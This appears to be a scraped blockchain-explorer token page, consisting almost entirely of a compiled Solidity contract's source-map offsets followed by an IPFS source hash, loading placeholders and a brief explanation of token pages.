1;22358:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22334:40;;22403:4;22385;22390:1;22385:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;22429:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22419:4;22424:1;22419:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;22464:62;22481:4;22496:15;;;;;;;;;;;22514:11;22464:8;:62::i;:::-;22565:15;;;;;;;;;;;:66;;;22646:11;22672:1;22716:4;22743;22779:15;22565:240;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22831:35;22848:11;22861:4;22831:35;;;;;;;:::i;:::-;;;;;;;;22263:611;22208:666;:::o;22978:523::-;23126:62;23143:4;23158:15;;;;;;;;;;;23176:11;23126:8;:62::i;:::-;23231:15;;;;;;;;;;;:31;;;23270:9;23303:4;23323:11;23349:1;23392;23435:17;;;;;;;;;;;23467:15;23231:262;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;22978:523;;:::o;2135:278::-;2221:7;2253:1;2249;:5;2256:12;2241:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2280:9;2296:1;2292;:5;;;;:::i;:::-;2280:17;;2404:1;2397:8;;;2135:278;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:126::-;1386:7;1426:42;1419:5;1415:54;1404:65;;1349:126;;;:::o;1481:96::-;1518:7;1547:24;1565:5;1547:24;:::i;:::-;1536:35;;1481:96;;;:::o;1583:118::-;1670:24;1688:5;1670:24;:::i;:::-;1665:3;1658:37;1583:118;;:::o;1707:222::-;1800:4;1838:2;1827:9;1823:18;1815:26;;1851:71;1919:1;1908:9;1904:17;1895:6;1851:71;:::i;:::-;1707:222;;;;:::o;2016:117::-;2125:1;2122;2115:12;2262:122;2335:24;2353:5;2335:24;:::i;:::-;2328:5;2325:35;2315:63;;2374:1;2371;2364:12;2315:63;2262:122;:::o;2390:139::-;2436:5;2474:6;2461:20;2452:29;;2490:33;2517:5;2490:33;:::i;:::-;2390:139;;;;:::o;2535:77::-;2572:7;2601:5;2590:16;;2535:77;;;:::o;2618:122::-;2691:24;2709:5;2691:24;:::i;:::-;2684:5;2681:35;2671:63;;2730:1;2727;2720:12;2671:63;2618:122;:::o;2746:139::-;2792:5;2830:6;2817:20;2808:29;;2846:33;2873:5;2846:33;:::i;:::-;2746:139;;;;:::o;2891:474::-;2959:6;2967;3016:2;3004:9;2995:7;2991:23;2987:32;2984:119;;;3022:79;;:::i;:::-;2984:119;3142:1;3167:53;3212:7;3203:6;3192:9;3188:22;3167:53;:::i;:::-;3157:63;;3113:117;3269:2;3295:53;3340:7;3331:6;3320:9;3316:22;3295:53;:::i;:::-;3285:63;;3240:118;2891:474;;;;;:::o;3371:90::-;3405:7;3448:5;3441:13;3434:21;3423:32;;3371:90;;;:::o;3467:109::-;3548:21;3563:5;3548:21;:::i;:::-;3543:3;3536:34;3467:109;;:::o;3582:210::-;3669:4;3707:2;3696:9;3692:18;3684:26;;3720:65;3782:1;3771:9;3767:17;3758:6;3720:65;:::i;:::-;3582:210;;;;:::o;3798:60::-;3826:3;3847:5;3840:12;;3798:60;;;:::o;3864:142::-;3914:9;3947:53;3965:34;3974:24;3992:5;3974:24;:::i;:::-;3965:34;:::i;:::-;3947:53;:::i;:::-;3934:66;;3864:142;;;:::o;4012:126::-;4062:9;4095:37;4126:5;4095:37;:::i;:::-;4082:50;;4012:126;;;:::o;4144:153::-;4221:9;4254:37;4285:5;4254:37;:::i;:::-;4241:50;;4144:153;;;:::o;4303:185::-;4417:64;4475:5;4417:64;:::i;:::-;4412:3;4405:77;4303:185;;:::o;4494:276::-;4614:4;4652:2;4641:9;4637:18;4629:26;;4665:98;4760:1;4749:9;4745:17;4736:6;4665:98;:::i;:::-;4494:276;;;;:::o;4776:118::-;4863:24;4881:5;4863:24;:::i;:::-;4858:3;4851:37;4776:118;;:::o;4900:222::-;4993:4;5031:2;5020:9;5016:18;5008:26;;5044:71;5112:1;5101:9;5097:17;5088:6;5044:71;:::i;:::-;4900:222;;;;:::o;5128:619::-;5205:6;5213;5221;5270:2;5258:9;5249:7;5245:23;5241:32;5238:119;;;5276:79;;:::i;:::-;5238:119;5396:1;5421:53;5466:7;5457:6;5446:9;5442:22;5421:53;:::i;:::-;5411:63;;5367:117;5523:2;5549:53;5594:7;5585:6;5574:9;5570:22;5549:53;:::i;:::-;5539:63;;5494:118;5651:2;5677:53;5722:7;5713:6;5702:9;5698:22;5677:53;:::i;:::-;5667:63;;5622:118;5128:619;;;;;:::o;5753:86::-;5788:7;5828:4;5821:5;5817:16;5806:27;;5753:86;;;:::o;5845:112::-;5928:22;5944:5;5928:22;:::i;:::-;5923:3;5916:35;5845:112;;:::o;5963:214::-;6052:4;6090:2;6079:9;6075:18;6067:26;;6103:67;6167:1;6156:9;6152:17;6143:6;6103:67;:::i;:::-;5963:214;;;;:::o;6183:329::-;6242:6;6291:2;6279:9;6270:7;6266:23;6262:32;6259:119;;;6297:79;;:::i;:::-;6259:119;6417:1;6442:53;6487:7;6478:6;6467:9;6463:22;6442:53;:::i;:::-;6432:63;;6388:117;6183:329;;;;:::o;6518:104::-;6563:7;6592:24;6610:5;6592:24;:::i;:::-;6581:35;;6518:104;;;:::o;6628:142::-;6731:32;6757:5;6731:32;:::i;:::-;6726:3;6719:45;6628:142;;:::o;6776:254::-;6885:4;6923:2;6912:9;6908:18;6900:26;;6936:87;7020:1;7009:9;7005:17;6996:6;6936:87;:::i;:::-;6776:254;;;;:::o;7036:474::-;7104:6;7112;7161:2;7149:9;7140:7;7136:23;7132:32;7129:119;;;7167:79;;:::i;:::-;7129:119;7287:1;7312:53;7357:7;7348:6;7337:9;7333:22;7312:53;:::i;:::-;7302:63;;7258:117;7414:2;7440:53;7485:7;7476:6;7465:9;7461:22;7440:53;:::i;:::-;7430:63;;7385:118;7036:474;;;;;:::o;7516:180::-;7564:77;7561:1;7554:88;7661:4;7658:1;7651:15;7685:4;7682:1;7675:15;7702:320;7746:6;7783:1;7777:4;7773:12;7763:22;;7830:1;7824:4;7820:12;7851:18;7841:81;;7907:4;7899:6;7895:17;7885:27;;7841:81;7969:2;7961:6;7958:14;7938:18;7935:38;7932:84;;7988:18;;:::i;:::-;7932:84;7753:269;7702:320;;;:::o;8028:182::-;8168:34;8164:1;8156:6;8152:14;8145:58;8028:182;:::o;8216:366::-;8358:3;8379:67;8443:2;8438:3;8379:67;:::i;:::-;8372:74;;8455:93;8544:3;8455:93;:::i;:::-;8573:2;8568:3;8564:12;8557:19;;8216:366;;;:::o;8588:419::-;8754:4;8792:2;8781:9;8777:18;8769:26;;8841:9;8835:4;8831:20;8827:1;8816:9;8812:17;8805:47;8869:131;8995:4;8869:131;:::i;:::-;8861:139;;8588:419;;;:::o;9013:225::-;9153:34;9149:1;9141:6;9137:14;9130:58;9222:8;9217:2;9209:6;9205:15;9198:33;9013:225;:::o;9244:366::-;9386:3;9407:67;9471:2;9466:3;9407:67;:::i;:::-;9400:74;;9483:93;9572:3;9483:93;:::i;:::-;9601:2;9596:3;9592:12;9585:19;;9244:366;;;:::o;9616:419::-;9782:4;9820:2;9809:9;9805:18;9797:26;;9869:9;9863:4;9859:20;9855:1;9844:9;9840:17;9833:47;9897:131;10023:4;9897:131;:::i;:::-;9889:139;;9616:419;;;:::o;10041:143::-;10098:5;10129:6;10123:13;10114:22;;10145:33;10172:5;10145:33;:::i;:::-;10041:143;;;;:::o;10190:351::-;10260:6;10309:2;10297:9;10288:7;10284:23;10280:32;10277:119;;;10315:79;;:::i;:::-;10277:119;10435:1;10460:64;10516:7;10507:6;10496:9;10492:22;10460:64;:::i;:::-;10450:74;;10406:128;10190:351;;;;:::o;10547:332::-;10668:4;10706:2;10695:9;10691:18;10683:26;;10719:71;10787:1;10776:9;10772:17;10763:6;10719:71;:::i;:::-;10800:72;10868:2;10857:9;10853:18;10844:6;10800:72;:::i;:::-;10547:332;;;;;:::o;10885:85::-;10930:7;10959:5;10948:16;;10885:85;;;:::o;10976:158::-;11034:9;11067:61;11085:42;11094:32;11120:5;11094:32;:::i;:::-;11085:42;:::i;:::-;11067:61;:::i;:::-;11054:74;;10976:158;;;:::o;11140:147::-;11235:45;11274:5;11235:45;:::i;:::-;11230:3;11223:58;11140:147;;:::o;11293:807::-;11542:4;11580:3;11569:9;11565:19;11557:27;;11594:71;11662:1;11651:9;11647:17;11638:6;11594:71;:::i;:::-;11675:72;11743:2;11732:9;11728:18;11719:6;11675:72;:::i;:::-;11757:80;11833:2;11822:9;11818:18;11809:6;11757:80;:::i;:::-;11847;11923:2;11912:9;11908:18;11899:6;11847:80;:::i;:::-;11937:73;12005:3;11994:9;11990:19;11981:6;11937:73;:::i;:::-;12020;12088:3;12077:9;12073:19;12064:6;12020:73;:::i;:::-;11293:807;;;;;;;;;:::o;12106:143::-;12163:5;12194:6;12188:13;12179:22;;12210:33;12237:5;12210:33;:::i;:::-;12106:143;;;;:::o;12255:663::-;12343:6;12351;12359;12408:2;12396:9;12387:7;12383:23;12379:32;12376:119;;;12414:79;;:::i;:::-;12376:119;12534:1;12559:64;12615:7;12606:6;12595:9;12591:22;12559:64;:::i;:::-;12549:74;;12505:128;12672:2;12698:64;12754:7;12745:6;12734:9;12730:22;12698:64;:::i;:::-;12688:74;;12643:129;12811:2;12837:64;12893:7;12884:6;12873:9;12869:22;12837:64;:::i;:::-;12827:74;;12782:129;12255:663;;;;;:::o;12924:223::-;13064:34;13060:1;13052:6;13048:14;13041:58;13133:6;13128:2;13120:6;13116:15;13109:31;12924:223;:::o;13153:366::-;13295:3;13316:67;13380:2;13375:3;13316:67;:::i;:::-;13309:74;;13392:93;13481:3;13392:93;:::i;:::-;13510:2;13505:3;13501:12;13494:19;;13153:366;;;:::o;13525:419::-;13691:4;13729:2;13718:9;13714:18;13706:26;;13778:9;13772:4;13768:20;13764:1;13753:9;13749:17;13742:47;13806:131;13932:4;13806:131;:::i;:::-;13798:139;;13525:419;;;:::o;13950:221::-;14090:34;14086:1;14078:6;14074:14;14067:58;14159:4;14154:2;14146:6;14142:15;14135:29;13950:221;:::o;14177:366::-;14319:3;14340:67;14404:2;14399:3;14340:67;:::i;:::-;14333:74;;14416:93;14505:3;14416:93;:::i;:::-;14534:2;14529:3;14525:12;14518:19;;14177:366;;;:::o;14549:419::-;14715:4;14753:2;14742:9;14738:18;14730:26;;14802:9;14796:4;14792:20;14788:1;14777:9;14773:17;14766:47;14830:131;14956:4;14830:131;:::i;:::-;14822:139;;14549:419;;;:::o;14974:224::-;15114:34;15110:1;15102:6;15098:14;15091:58;15183:7;15178:2;15170:6;15166:15;15159:32;14974:224;:::o;15204:366::-;15346:3;15367:67;15431:2;15426:3;15367:67;:::i;:::-;15360:74;;15443:93;15532:3;15443:93;:::i;:::-;15561:2;15556:3;15552:12;15545:19;;15204:366;;;:::o;15576:419::-;15742:4;15780:2;15769:9;15765:18;15757:26;;15829:9;15823:4;15819:20;15815:1;15804:9;15800:17;15793:47;15857:131;15983:4;15857:131;:::i;:::-;15849:139;;15576:419;;;:::o;16001:222::-;16141:34;16137:1;16129:6;16125:14;16118:58;16210:5;16205:2;16197:6;16193:15;16186:30;16001:222;:::o;16229:366::-;16371:3;16392:67;16456:2;16451:3;16392:67;:::i;:::-;16385:74;;16468:93;16557:3;16468:93;:::i;:::-;16586:2;16581:3;16577:12;16570:19;;16229:366;;;:::o;16601:419::-;16767:4;16805:2;16794:9;16790:18;16782:26;;16854:9;16848:4;16844:20;16840:1;16829:9;16825:17;16818:47;16882:131;17008:4;16882:131;:::i;:::-;16874:139;;16601:419;;;:::o;17026:169::-;17166:21;17162:1;17154:6;17150:14;17143:45;17026:169;:::o;17201:366::-;17343:3;17364:67;17428:2;17423:3;17364:67;:::i;:::-;17357:74;;17440:93;17529:3;17440:93;:::i;:::-;17558:2;17553:3;17549:12;17542:19;;17201:366;;;:::o;17573:419::-;17739:4;17777:2;17766:9;17762:18;17754:26;;17826:9;17820:4;17816:20;17812:1;17801:9;17797:17;17790:47;17854:131;17980:4;17854:131;:::i;:::-;17846:139;;17573:419;;;:::o;17998:227::-;18138:34;18134:1;18126:6;18122:14;18115:58;18207:10;18202:2;18194:6;18190:15;18183:35;17998:227;:::o;18231:366::-;18373:3;18394:67;18458:2;18453:3;18394:67;:::i;:::-;18387:74;;18470:93;18559:3;18470:93;:::i;:::-;18588:2;18583:3;18579:12;18572:19;;18231:366;;;:::o;18603:419::-;18769:4;18807:2;18796:9;18792:18;18784:26;;18856:9;18850:4;18846:20;18842:1;18831:9;18827:17;18820:47;18884:131;19010:4;18884:131;:::i;:::-;18876:139;;18603:419;;;:::o;19028:224::-;19168:34;19164:1;19156:6;19152:14;19145:58;19237:7;19232:2;19224:6;19220:15;19213:32;19028:224;:::o;19258:366::-;19400:3;19421:67;19485:2;19480:3;19421:67;:::i;:::-;19414:74;;19497:93;19586:3;19497:93;:::i;:::-;19615:2;19610:3;19606:12;19599:19;;19258:366;;;:::o;19630:419::-;19796:4;19834:2;19823:9;19819:18;19811:26;;19883:9;19877:4;19873:20;19869:1;19858:9;19854:17;19847:47;19911:131;20037:4;19911:131;:::i;:::-;19903:139;;19630:419;;;:::o;20055:180::-;20103:77;20100:1;20093:88;20200:4;20197:1;20190:15;20224:4;20221:1;20214:15;20241:194;20281:4;20301:20;20319:1;20301:20;:::i;:::-;20296:25;;20335:20;20353:1;20335:20;:::i;:::-;20330:25;;20379:1;20376;20372:9;20364:17;;20403:1;20397:4;20394:11;20391:37;;;20408:18;;:::i;:::-;20391:37;20241:194;;;;:::o;20441:191::-;20481:3;20500:20;20518:1;20500:20;:::i;:::-;20495:25;;20534:20;20552:1;20534:20;:::i;:::-;20529:25;;20577:1;20574;20570:9;20563:16;;20598:3;20595:1;20592:10;20589:36;;;20605:18;;:::i;:::-;20589:36;20441:191;;;;:::o;20638:177::-;20778:29;20774:1;20766:6;20762:14;20755:53;20638:177;:::o;20821:366::-;20963:3;20984:67;21048:2;21043:3;20984:67;:::i;:::-;20977:74;;21060:93;21149:3;21060:93;:::i;:::-;21178:2;21173:3;21169:12;21162:19;;20821:366;;;:::o;21193:419::-;21359:4;21397:2;21386:9;21382:18;21374:26;;21446:9;21440:4;21436:20;21432:1;21421:9;21417:17;21410:47;21474:131;21600:4;21474:131;:::i;:::-;21466:139;;21193:419;;;:::o;21618:410::-;21658:7;21681:20;21699:1;21681:20;:::i;:::-;21676:25;;21715:20;21733:1;21715:20;:::i;:::-;21710:25;;21770:1;21767;21763:9;21792:30;21810:11;21792:30;:::i;:::-;21781:41;;21971:1;21962:7;21958:15;21955:1;21952:22;21932:1;21925:9;21905:83;21882:139;;22001:18;;:::i;:::-;21882:139;21666:362;21618:410;;;;:::o;22034:180::-;22082:77;22079:1;22072:88;22179:4;22176:1;22169:15;22203:4;22200:1;22193:15;22220:185;22260:1;22277:20;22295:1;22277:20;:::i;:::-;22272:25;;22311:20;22329:1;22311:20;:::i;:::-;22306:25;;22350:1;22340:35;;22355:18;;:::i;:::-;22340:35;22397:1;22394;22390:9;22385:14;;22220:185;;;;:::o;22411:220::-;22551:34;22547:1;22539:6;22535:14;22528:58;22620:3;22615:2;22607:6;22603:15;22596:28;22411:220;:::o;22637:366::-;22779:3;22800:67;22864:2;22859:3;22800:67;:::i;:::-;22793:74;;22876:93;22965:3;22876:93;:::i;:::-;22994:2;22989:3;22985:12;22978:19;;22637:366;;;:::o;23009:419::-;23175:4;23213:2;23202:9;23198:18;23190:26;;23262:9;23256:4;23252:20;23248:1;23237:9;23233:17;23226:47;23290:131;23416:4;23290:131;:::i;:::-;23282:139;;23009:419;;;:::o;23434:180::-;23482:77;23479:1;23472:88;23579:4;23576:1;23569:15;23603:4;23600:1;23593:15;23620:180;23668:77;23665:1;23658:88;23765:4;23762:1;23755:15;23789:4;23786:1;23779:15;23806:114;23873:6;23907:5;23901:12;23891:22;;23806:114;;;:::o;23926:184::-;24025:11;24059:6;24054:3;24047:19;24099:4;24094:3;24090:14;24075:29;;23926:184;;;;:::o;24116:132::-;24183:4;24206:3;24198:11;;24236:4;24231:3;24227:14;24219:22;;24116:132;;;:::o;24254:108::-;24331:24;24349:5;24331:24;:::i;:::-;24326:3;24319:37;24254:108;;:::o;24368:179::-;24437:10;24458:46;24500:3;24492:6;24458:46;:::i;:::-;24536:4;24531:3;24527:14;24513:28;;24368:179;;;;:::o;24553:113::-;24623:4;24655;24650:3;24646:14;24638:22;;24553:113;;;:::o;24702:732::-;24821:3;24850:54;24898:5;24850:54;:::i;:::-;24920:86;24999:6;24994:3;24920:86;:::i;:::-;24913:93;;25030:56;25080:5;25030:56;:::i;:::-;25109:7;25140:1;25125:284;25150:6;25147:1;25144:13;25125:284;;;25226:6;25220:13;25253:63;25312:3;25297:13;25253:63;:::i;:::-;25246:70;;25339:60;25392:6;25339:60;:::i;:::-;25329:70;;25185:224;25172:1;25169;25165:9;25160:14;;25125:284;;;25129:14;25425:3;25418:10;;24826:608;;;24702:732;;;;:::o;25440:831::-;25703:4;25741:3;25730:9;25726:19;25718:27;;25755:71;25823:1;25812:9;25808:17;25799:6;25755:71;:::i;:::-;25836:80;25912:2;25901:9;25897:18;25888:6;25836:80;:::i;:::-;25963:9;25957:4;25953:20;25948:2;25937:9;25933:18;25926:48;25991:108;26094:4;26085:6;25991:108;:::i;:::-;25983:116;;26109:72;26177:2;26166:9;26162:18;26153:6;26109:72;:::i;:::-;26191:73;26259:3;26248:9;26244:19;26235:6;26191:73;:::i;:::-;25440:831;;;;;;;;:::o;26277:483::-;26448:4;26486:2;26475:9;26471:18;26463:26;;26499:71;26567:1;26556:9;26552:17;26543:6;26499:71;:::i;:::-;26617:9;26611:4;26607:20;26602:2;26591:9;26587:18;26580:48;26645:108;26748:4;26739:6;26645:108;:::i;:::-;26637:116;;26277:483;;;;;:::o

Swarm Source

ipfs://7a5684c9009a59fc398df8ec3b09bc16861e9994918a7cc4bc5da6e1fc547fcb
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.